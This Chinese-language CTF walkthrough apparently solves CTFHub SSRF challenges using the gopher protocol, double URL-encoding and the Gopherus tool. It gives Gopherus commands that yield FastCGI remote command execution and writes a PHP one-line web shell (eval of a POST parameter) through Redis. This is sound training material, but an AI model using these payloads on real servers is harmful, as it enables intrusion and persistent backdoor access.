SSRF2-POST请求(gopher协议+POST请求+FastCGI协议+redis协议+kali里的gopherus工具生成协议gopher使用)
一.题目链接:
https://www.ctfhub.com/#/skilltree
这里也是把所有的post树下所属的链接题目都写一遍
二.基础知识
2.1 gopher协议
- 概念:
1.gopher协议是一种信息查找系统,它将internet上的文件组织成某种索引,方便用户从internet的一处带到另一处。但在www出现后,gopher就失去了昔日的辉煌。
2.现在它已过时。它只支持文本,不支持图像。
3.gopher协议可以做很多事情,特别是在ssrf中可以发挥很多重要的作用,利用此协议可以攻击内网的FTP,Telnnet,Redis,Memcache,也可进行GET,POST请求
4.可以通过gopher协议将get请求伪装成post请求,他是SSRF利用中一个最强大的协议(俗称万能协议),可用于反弹shell- 语法:
gopher://127.0.0.1:80/_{TCP/IP数据流}- 注意:
1.这里的_不能省略
2.这里的端口默认是70,但要具体情况具体而定,http就是80,https就是443
3.如果发起post请求,回车换行符就必须要使用%0D%0A,告诉计算机你已经执行完了。如果多个参数,参数之间的&也需要进行URL编码- 需要的条件:在构造的时候,只需要保留这几样必要的东西就行
gopher: //127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: challenge-0cd16c73a7cf875a.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
注意:这里一般要进行两次转码,为什么呢?因为后面跟的是{TCP/IP数据流},Gopher协议基于TCP传输,当构造Gopher URL时,需将请求(如HTTP)封装为符合TCP流格式的字符串,换行符必须为\r\n(%0D%0A),特殊字符需要编码。我们的目的是想要传递整个完整的gopher协议,而不是你解码完后就报错了,所以当第一次解码后,我们要将%0A变成%0D%0A,为了避免%被解码,我们还要再进行以此编码,确保完整性。2.2 FastCGI协议
- 概念:是一种改进的CGI协议,用于高效处理动态Web请求(如PHP,Python脚本),它的核心作用是连接Web服务器和后端应用程序,解决传统CGI的性能瓶颈。
- 如何利用:一般会结合gopherus这个工具进行攻击,这个工具下个知识点附安装使用链接,那具体的使用效果是怎样的呢?
1.python2 gopherus.py,这个工具和py2结合使用,我们用这个命令查看输入的命令是怎样
2../gopherus.py --exploit fastcgi,用该工具生成一个针对FastCGI服务的漏洞的RCE(远程登录)playload
3./var/www/html/index.php,首先要输入一个合法有效的路径,一般都用被攻网页的web目录 的php文件,为什么需要?因为FastCGI协议请求必须关联一个合法的脚本文件,Gopherus会利用文件伪造请求,绕过权限检查
4.ls /,最后就是输入你想要执行的命令吗,他就可以生成一个gopher协议啦2.3 gopherus工具
安装教程链接:https://blog.csdn.net/weixin_68416970/article/details/139440201
2.4 redis协议
三.开始解题
3.1.POST请求
1.先阅读题目,这里我们知道该网页是http,所以访问的端口是80,我们进入到flag.php网页看看有没有什么端倪


2.将这里的key输入框内,切记输入的时候输入的是key后面的数字,而不是将key=都输入进去

3.先通过抓包,去把我们的key输入进去后,将前面的内容添加如下内容,这里的key就是自己输入的内容,

4.通过url编码,这里推荐用虾米那的编码网站,因为驻波试了好几次都没成功的原因是编码的问题
推荐一个url编码网站:https://devtool.tech/url-encode
5.转换完后,在将所有的%0A变为%0D%0A,结尾如果没有%0D%0A,就去增加,然后再编码一次

6.将两次编码的结果拼接在url的后面,成功得到flag


3.2文件上传
1.阅读题目,告诉我们需要上传一个文件到flag.php,那就开搞

2.难道是要写一句话木马??没有发送按钮??那就自己无中生有一个吧


3.代码语句如下
<input type="submit" name="submit">

4.将我们的木马文件上传,其实这里上传什么文件都可,用burp抓包

5.接下来的步骤就和post那关的一样步骤了,构造gopher协议,开头添加协议,删除没用的部分,进行二次编码


6.将构造后的url发送,成功得到flag

3.3. FastCGI协议
具体的命令如下:
./gopherus.py --exploit fastcgi
/var/www/html/index.php
ls /

1.将第一次得到的gopher输入并没反应

2.那就再编码一次再输入可以看见已经有flag的相关文件了

3.接下来我们查看这个flag文件,步骤还是和上面一样,要把生成的gopher协议再url编码一遍
./gopherus.py --exploit fastcgi
/var/www/html/index.php
cat /flag文件

哦耶,得到flag~~

3.4. redis协议
1.这道题用gopherus工具写木马,这里最好不要回车用默认的木马,因为不知道密码,再用蚁剑连接
//这里使用gopherus工具全过程如下,过程图就不贴了,和上面的类似
输入利用针对redis漏洞的命令:python2 gopherus.py --exploit redis
输入:PHPshell
回车就行:/var/www/html
写一句话木马,这里的a就是密码,待会要输入在蚁剑里的密码栏里的:<?php @eval($_POST[a]) ?>
将生成的gopher协议在进行url编码
把结果复制下来,粘贴到url后去访问,然后叉掉页面,直接访问shell.php文件,为什么访问shell.php呢?因为这是固定的格式,不能自定义哦~出现木马,就说明植入成功,下面有图
最后用蚁剑连接就行了




浙公网安备 33010602011771号